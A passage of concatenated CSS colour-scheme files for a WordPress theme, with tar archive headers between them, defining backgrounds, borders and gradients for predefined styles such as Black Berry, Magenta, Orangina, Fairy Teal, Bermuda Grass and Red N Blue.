	border-top: 1px solid #5584f7;
}
/* Search */
.search-form-top {
    background-color: #4f82e7;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #104386;
}
/* Main Navigation */
#navi-wrap {
	background: #104386;
	border-bottom: 4px solid #f5ede3;
}
.natty #navi-wrap {
	background: #104386;
	border-top: 1px solid #f5ede3;
	border-bottom: 1px solid #f5ede3;
}
.stickynav {
	background: #104386;
	border-top: 2px solid #083268;
	border-bottom: 2px solid #083268;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #58462a;
    background: #D9CDBB -webkit-gradient(linear, left top, left bottom, from(#58462a), to(#D9CDBB)) no-repeat;
    background: #D9CDBB -moz-linear-gradient(top, #58462a, #D9CDBB) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#58462a, endColorstr=#D9CDBB) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#58462a, endColorstr=#58462a)" no-repeat;
}
.header-line {
	border-top: 15px solid #2b2317;
	border-bottom: 1px solid #766853;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #104386;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #8c9ca7;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #104386;
	border: 1px solid #121212;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	background-color: #193761;
	border-top: 5px solid #6988b2;
}
#footer-widgets .widget {
    background: #eae3d8;
    border: 5px solid #6988b2;
}
#footer-widgets .widgettitle {
    background: #01162f;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #2f5282;
	background-color: #010e1f;
}
/* LOL to Top */
.scrollToTop {
    background: #6699ff;
    border: 4px solid #295bc0;
}
.scrollToTop:hover {
    background: #104386;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #084c92;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #213158;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #3a6bcb;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/blackberry.css000064400000010701152223213640013172 0ustar00/*
Predefined Colors
Theme: Black Berry
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #1079c9;
	text-decoration: underline;
}
/* Body */
body {
    background-color: #c5d0d6;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #161B22;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #d00a0a;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #0a2a51;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: #a01203;
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #001228;
	border: 2px solid #303030;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #a01203;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #303030;
}
/* Search */
.search-form-top {
    background-color: #161B22;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #d00a0a;
}
/* Main Navigation */
#navi-wrap {
	background: #d00a0a;
	border-bottom: 4px solid #6a0709;
}
.natty #navi-wrap {
	background: #d00a0a;
	border-top: 3px solid #161B22;
	border-bottom: 3px solid #161B22;
}
.stickynav {
	background: #d00a0a;
	border-top: 2px solid #6a0709;
	border-bottom: 2px solid #6a0709;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #363636;
    background: #7D7B7B -webkit-gradient(linear, left top, left bottom, from(#363636), to(#7D7B7B)) no-repeat;
    background: #7D7B7B -moz-linear-gradient(top, #363636, #7D7B7B) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#363636, endColorstr=#7D7B7B) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#363636, endColorstr=#363636)" no-repeat;
}
.header-line {
	border-top: 15px solid #1a1716;
	border-bottom: 1px solid #504641;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #de8100;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #5998c8;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #161B22;
	border: 1px solid #161B22;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	background-color: #363636;
	border-top: 5px solid #636262;
}
#footer-widgets .widget {
    background: #eae3d8;
    border: 5px solid #636262;
}
#footer-widgets .widgettitle {
    background: #161B22;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #444;
	background-color: #121212;
}
/* LOL to Top */
.scrollToTop {
    background: #363636;
    border: 4px solid #636262;
}
.scrollToTop:hover {
    background: #121212;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #7e0909;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #021935;
}
#header-banner .widget {
	padding: 0;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #161B22;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/magenta.css000064400000013516152223213640012475 0ustar00/*
Predefined Colors
Theme: Dark Magenta
*/
/* Links */
a:hover, a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active{
    color: #3B5998;
}
/* Body */
body {
    background-color: #d0d0d0;
}
#wrapper,
.wide-header #wrap {
    -webkit-box-shadow: 0 5px 10px 2px rgba(2, 2, 2, 0.5);
    box-shadow: 0 5px 10px 2px rgba(158, 158, 158, 0.5);
}
/* Header */
#header-wrap,
.natty #header-wrap {
    background: #A31AA3;
    background: #F06EF0 -webkit-gradient(linear, left top, left bottom, from(#A31AA3), to(#F06EF0)) no-repeat;
    background: #F06EF0 -moz-linear-gradient(top, #A31AA3, #F06EF0) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#A31AA3, endColorstr=#F06EF0) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#A31AA3, endColorstr=#F06EF0)" no-repeat;
}
.natty #header-wrap {
    border-top: 1px solid #ba26ba;
}
.header-line {
    border-top: 15px solid #6d0c6d;
    border-bottom: 1px solid #c728c7;
}
.natty .header-line {
    border-top: none;
    border-bottom: 1px solid #c728c7;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
    background: #7d017d;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
    color: #f9f9f9;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
    background: #570057;
}
#topnav-menu {
    margin-left: 0;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
    background: #450b45;
}
#topnav-menu a:hover,
#topnav-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
    color: #fff;
    background: #7d017d;
}
#topnav-menu .current_page_item:hover,
#topnav-menu .current-menu-item:hover,
.natty #topnav-menu .current_page_item:hover,
.natty #topnav-menu .current-menu-item:hover {
    color: #fff;
    background: #7d017d;
}
#topnav-menu .children,
#topnav-menu .sub-menu {
    background-color: #304e5c;
}
/* Search */
.search-form-top {
    background-color: #fff;
}
/* Main Navigation */
.stickynav,
#navi-wrap,
.natty #navi-wrap {
    background: #7d017d;
    border-top: 1px solid #9e1b9e;
    border-bottom: 1px solid #9e1b9e;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
    background-color: #3B5998;
    color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
    background-color: #2C5700;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
    background-color: #002e8d;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
    color: #f9f9f9;
}
#header #navi-wrap .nav-menu li a:hover,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:hover:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:hover:after {
    background-color: #3B5998;
}
/* Content */
.wide-header #content-wrap {
    border: 1px solid #acb3b4;
    margin:0.6em auto 0.95em;
    box-shadow: none;
}
/* Sidebar */
#frontpage-magazine-widgets .widget .widgettitle,
#sidebar .widgettitle,
.widget-tabnavi {
    background: #7d017d;
}
.widgettitle {
    font-size: 0.95em;
    padding: 0.65em;
    text-transform: uppercase;
}
#sidebar .widget {
    border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
    border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
    padding: 2px;
    max-width: 55px;
    border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
    background: #7d017d;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
    background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
    background: #570057;
}
#footer-widgets .widget {
    background: #9e0e81;
    border: 0.4em solid rgba(0, 0, 0, 0.2);
}
#footer-widgets .widgettitle {
    background: #570057;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(255, 255, 255, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #f9f9f9;
}
/* Footer */
#footer {
    border-top: 1px solid #165e6a;
    background: #0d4751;
}
/* LOL to Top */
.scrollToTop {
    background: #0d4751;
    border: 3px solid #165e6a;
}
.scrollToTop:hover {
    background: #7D017D;
    border: 3px solid #B214B2;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
    #header .menu-toggle {
        color: #f9f9f9;
        border-bottom: none;
    }
    #header #navi-wrap {
        border: none;
    }
    #header ul.nav-menu {
        background: #7d017d;
    }
    .toggled-on .nav-menu > li a:hover,
    .toggled-on .nav-menu > ul a:hover {
        background-color: #1273ac;
        color: #fff;
    }
    .toggled-on .nav-menu .sub-menu,
    .toggled-on .nav-menu .children {
        background-color: #314d02;
    }
    #topnav-menu .current_page_item,
    #topnav-menu .current-menu-item {
        background: #444;
    }
    .wide-header #content-wrap {
        border: 0;
        margin:0 auto;
    }
    #sidebar {
        clear: both;
        margin: 1em 0 0;
        padding:1em;
        width: 100%;
    }
}
@media only screen and (max-width: 50em) {
    #topnav-menu {
        background: #7d017d;
    }
}pmgizmo/css/styles/orangina.css000064400000013323152223213640012653 0ustar00/*
Predefined Colors
Theme: Orangina
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #1079c9;
}
/* Body */
body {
    background-color: #dfd3c3;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #f16f18;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #2e2c2d;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #e5620b;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #2e2c2d;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #443d41;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #046cb2;
}
/* Search */
.search-form-top {
    background-color: #f16f18;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #2e2c2d;
}
/* Main Navigation */
#navi-wrap {
	background: #2e2c2d;
	border-top: none;
	border-bottom: 4px solid #8c8c8c;
}
.stickynav,
.natty #navi-wrap {
	background: #2e2c2d;
	border-top: 2px solid #6b6b6b;
	border-bottom: 2px solid #6b6b6b;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #b24e0b;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #1a1618;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #046cb2;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #49352a;
    background: #9a8a7b -webkit-gradient(linear, left top, left bottom, from(#49352a), to(#9a8a7b)) no-repeat;
    background: #9a8a7b -moz-linear-gradient(top, #49352a, #9a8a7b) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#49352a, endColorstr=#9a8a7b) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#49352a, endColorstr=#9a8a7b)" no-repeat;
}
.natty #header-wrap {
	border-top: 1px solid #b18973;
}
.header-line {
	border-top: 15px solid #291c16;
	border-bottom: 1px solid #5d4b40;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
	background: #2e2c2d;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #b8ac9e;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #f16f18;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
	background: #ff7e27;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
	border-top: 5px solid #887e6b;
	background: #2e2c2d;
	background: #4d4d4d -webkit-gradient(linear, left top, left bottom, from(#2e2c2d), to(#4d4d4d)) no-repeat;
	background: #4d4d4d -moz-linear-gradient(top, #2e2c2d, #4d4d4d) no-repeat;
	filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#2e2c2d, endColorstr=#4d4d4d) no-repeat;
	-ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#2e2c2d, endColorstr=#2e2c2d)" no-repeat;
}
#footer-widgets .widget {
    background: #eae3d8;
    border: 5px solid #887e6b;
}
#footer-widgets .widgettitle {
    background: #f16f18;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
	background: #2E2C2D;
	border-top: 1px solid #515151;
	border-bottom: 1px solid #515151;
}
/* LOL to Top */
.scrollToTop {
    background: #C34F01;
}
.scrollToTop:hover {
    background: #1079c9;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #2e2c2d;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #7a7168;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #1a1618;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #f16f18;
	}
	.wide-header #content-wrap {
		border: 0;
		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #2e2c2d;
	}
}pmgizmo/css/styles/fairytail.css000064400000010606152223213640013042 0ustar00/*
Predefined Colors
Theme: Fairy Teal
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #078898;
}
/* Body */
body {
    background-color: #ddeff0;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #00434C;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #013a42;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #013a42;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: rgba(255,255,255,0.15);
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #213158;
	border: 2px solid #5584f7;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #c62775;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #5584f7;
}
/* Search */
.search-form-top {
    background-color: #00434C;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #078898;
}
/* Main Navigation */
#navi-wrap {
	background: #078898;
	border-bottom: 2px solid #64b8c0;
}
.natty #navi-wrap {
	background: #078898;
	border-top: 1px solid #64b8c0;
	border-bottom: 1px solid #64b8c0;
}
.stickynav {
	background: #078898;
	border-top: 1px solid #185ea6;
	border-bottom: 1px solid #185ea6;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #25575b;
    background: #66b9bf -webkit-gradient(linear, left top, left bottom, from(#25575b), to(#66b9bf)) no-repeat;
    background: #66b9bf -moz-linear-gradient(top, #25575b, #66b9bf) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#25575b, endColorstr=#66b9bf) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#25575b, endColorstr=#25575b)" no-repeat;
}
.header-line {
	border-top: 15px solid #194144;
	border-bottom: 1px solid #346d71;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #078898;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #8c9ca7;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #00434C;
	border: 1px solid #121212;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	background-color: #00434c;
	border-top: 5px solid #60b0b6;
}
#footer-widgets .widget {
    background: #ccf1f4;
    border: 5px solid #478f94;
}
#footer-widgets .widgettitle {
    background: #01162f;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #2f5282;
	background-color: #010e1f;
}
/* LOL to Top */
.scrollToTop {
    background: #2b6064;
    border: 4px solid #444;
}
.scrollToTop:hover {
    background: #078898;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #084c92;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #213158;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #013a42;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/bermuda.css000064400000012061152223213640012472 0ustar00/*
Predefined Colors
Theme: Bermuda Grass
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #006428;
}
/* Body */
body {
    background: #C5E4D1;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #19003E;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #14022d;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #14022d;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: #642800;
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #015bae;
	border-top: 1px solid rgba(255, 255, 255, 0.2);
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #08638D;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid rgba(255, 255, 255, 0.2);
}
/* Search */
.search-form-top {
    background-color: #19003E;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #006428;
}
/* Main Navigation */
#navi-wrap {
	background: #006428;
	border-bottom: 4px solid #61D790;
}
.natty #navi-wrap {
	background: #006428;
	border-top: 3px solid #61D790;
	border-bottom: 3px solid #61D790;
}
.stickynav {
	background: #006428;
	border-top: 1px solid #064a21;
	border-bottom: 1px solid #064a21;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
ul.nav-menu ul a,
.nav-menu ul ul a {
	border-top: 1px solid #332116;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #61D790;/* For WebKit (Safari, Chrome, etc) */
    background: #61D790 -webkit-gradient(linear, left top, left bottom, from(#045023), to(#61D790)) no-repeat;/* Mozilla,Firefox/Gecko */
    background: #61D790 -moz-linear-gradient(top, #045023, #61D790) no-repeat;/* IE 5.5 - 7 */
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#045023, endColorstr=#61D790) no-repeat;/* IE 8 */
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#045023, endColorstr=#045023)" no-repeat;
}
.header-line {
	border-top: 15px solid #013617;
	border-bottom: 1px solid #217342;
}

#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #642800;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #6c6c9e;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #006428;
	border: 1px solid #044f22;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	border-top: 5px solid #35B066;
    background-color: #188242;/* For WebKit (Safari, Chrome, etc) */
    background: #188242 -webkit-gradient(linear, left top, left bottom, from(#045023), to(#188242)) no-repeat;/* Mozilla,Firefox/Gecko */
    background: #188242 -moz-linear-gradient(top, #045023, #188242) no-repeat;/* IE 5.5 - 7 */
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#045023, endColorstr=#188242) no-repeat;/* IE 8 */
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#045023, endColorstr=#045023)" no-repeat;
}
#footer-widgets .widget {
    background: #c7e9d5;
    border: 5px solid #35B066;
}
#footer-widgets .widgettitle {
    background: #006428;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
	background-color: #121212;
    border-top: 1px solid #A19F9F;
    border-bottom: 1px solid #A19F9F;
}
/* LOL to Top */
.scrollToTop {
    background: #045023;
    border: 4px solid #12022a;
}
.scrollToTop:hover {
    background: #006428;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #7e0909;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #4a3222;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #14022d;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/rednblue.css000064400000012061152223213640012653 0ustar00/*
Theme Name: Red N Blue
Description: A Child theme for the Cashback WordPress theme.
Version: 1.0.0
Theme URI: https://pmthemes.com/pmcashback/
Author: PMThemes
Author URI: https://pmthemes.com/
Template: pmcashback
Text Domain: pmrednblu
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #1079c9;
}
/* Body */
body {
    background-color: #c4c8ca;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #232CA1;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #202898;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #202898;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: #ab0000;
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #213158;
